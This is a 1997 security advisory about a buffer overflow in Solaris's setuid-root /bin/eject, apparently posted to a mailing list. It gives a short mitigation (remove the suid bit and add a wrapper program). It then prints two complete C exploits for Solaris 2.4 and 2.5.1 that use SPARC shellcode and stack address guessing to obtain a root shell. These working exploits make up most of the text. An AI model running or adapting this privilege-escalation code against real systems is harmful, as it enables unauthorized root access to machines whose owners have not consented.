motto: "Mihai Eminescu was a good friend of Ion Creanga" Thu Mar 13 21:01:00 EET 1997 - Romania "Hole in /bin/eject - buffer overflow" I exploited the buffer overflow hole in /bin/eject on Solaris 2.X (who have suid exec bit and is owned by root). The buffer overflow problem appears in an internal function media_find(). The result is: any user can gain root shell. So, to prevent /bin/eject exploit, you have to get out suid-exec bit from /bin/eject (that's very simple) and compile a little program like: main() {execl("/bin/eject","eject","floppy",(char *)0);} That allows your work station ordinary users to eject floppy (thats the main task for eject). I wrote two exploits (Solaris 2.4 & 2.5.1). My exploit for Solaris 2.4 looks a bit ugly - the buffer is two short - but it works. For both exploits argv[1] can change the STACK_OFFSET value (for troubleshotings +- 8 .. +-64 .. the step is 8). The interesting thing about this exploit it worked on some machines where it was installed some stuff to make inofensiv buffer overflows exploits ... Ok you have right down two exploits. For future I'm planing a web page with security stuff for Solaris so try http://www.math.pub.ro/security. Cristian Schipor - Computer Science Faculty - Bucharest - Romania E-mail: skipo@sundy.cs.pub.ro, skipo@math.pub.ro, skipo@ns.ima.ro Phone: 401-410.60.88 ------------------------ banana24.c ----------------------------- /* For Solaris 2.4 */ #include <stdio.h> #include <stdlib.h> #include <sys/types.h> #include <unistd.h> #define BUF_LENGTH 264 #define EXTRA 36 #define STACK_OFFSET 8 #define SPARC_NOP 0xc013a61c u_char sparc_shellcode[] = "\xc0\x13\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e\x2f\x0b\xda\xdc\xae\x15\xe3\x68" "\x90\x0b\x80\x0e\x92\x03\xa0\x0c\x94\x1a\x80\x0a\x9c\x03\xa0\x14" "\xec\x3b\xbf\xec\xc0\x23\xbf\xf4\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc" "\x82\x10\x20\x3b\x91\xd0\x20\x08\x90\x1b\xc0\x0f\x82\x10\x20\x01" "\x91\xd0"/*\x20\x08"*/ ; u_long get_sp(void) { __asm__("mov %sp,%i0 \n"); } void main(int argc, char *argv[]) { char buf[BUF_LENGTH + EXTRA + 8]; long targ_addr; u_long *long_p; u_char *char_p; int i, code_length = strlen(sparc_shellcode),dso=0; if(argc > 1) dso=atoi(argv[1]); long_p =(u_long *) buf ; targ_addr = get_sp() - STACK_OFFSET - dso; for (i = 0; i < (BUF_LENGTH - code_length) / sizeof(u_long); i++) *long_p++ = SPARC_NOP; char_p = (u_char *) long_p; for (i = 0; i < code_length; i++) *char_p++ = sparc_shellcode[i]; long_p = (u_long *) char_p; for (i = 0; i < EXTRA / sizeof(u_long); i++) *long_p++ =targ_addr; printf("Jumping to address 0x%lx B[%d] E[%d] SO[%d]\n", targ_addr,BUF_LENGTH,EXTRA,STACK_OFFSET); execl("/bin/eject", "eject", & buf,(char *) 0); perror("execl failed"); } ------------------------- end of banana24.c ------------------------ ------------------------- banana25.c ------------------------------- /* Wrote for Solaris 2.5.1 */ #include <stdio.h> #include <stdlib.h> #include <sys/types.h> #include <unistd.h> #define BUF_LENGTH 364 #define EXTRA 400 #define STACK_OFFSET 400 #define SPARC_NOP 0xa61cc013 u_char sparc_shellcode[] = "\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e\x2f\x0b\xda\xdc\xae\x15\xe3\x68" "\x90\x0b\x80\x0e\x92\x03\xa0\x0c\x94\x1a\x80\x0a\x9c\x03\xa0\x14" "\xec\x3b\xbf\xec\xc0\x23\xbf\xf4\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc" "\x82\x10\x20\x3b\x91\xd0\x20\x08\x90\x1b\xc0\x0f\x82\x10\x20\x01" "\x91\xd0\x20\x08" ; u_long get_sp(void) { __asm__("mov %sp,%i0 \n"); } void main(int argc, char *argv[]) { char buf[BUF_LENGTH + EXTRA + 8]; long targ_addr; u_long *long_p; u_char *char_p; int i, code_length = strlen(sparc_shellcode),dso=0; if(argc > 1) dso=atoi(argv[1]); long_p =(u_long *) buf ; targ_addr = get_sp() - STACK_OFFSET - dso; for (i = 0; i < (BUF_LENGTH - code_length) / sizeof(u_long); i++) *long_p++ = SPARC_NOP; char_p = (u_char *) long_p; for (i = 0; i < code_length; i++) *char_p++ = sparc_shellcode[i]; long_p = (u_long *) char_p; for (i = 0; i < EXTRA / sizeof(u_long); i++) *long_p++ =targ_addr; printf("Jumping to address 0x%lx B[%d] E[%d] SO[%d]\n", targ_addr,BUF_LENGTH,EXTRA,STACK_OFFSET); execl("/bin/eject", "eject", & buf[1],(char *) 0); perror("execl failed"); } ---------------------------- end of banana25.c ------------------------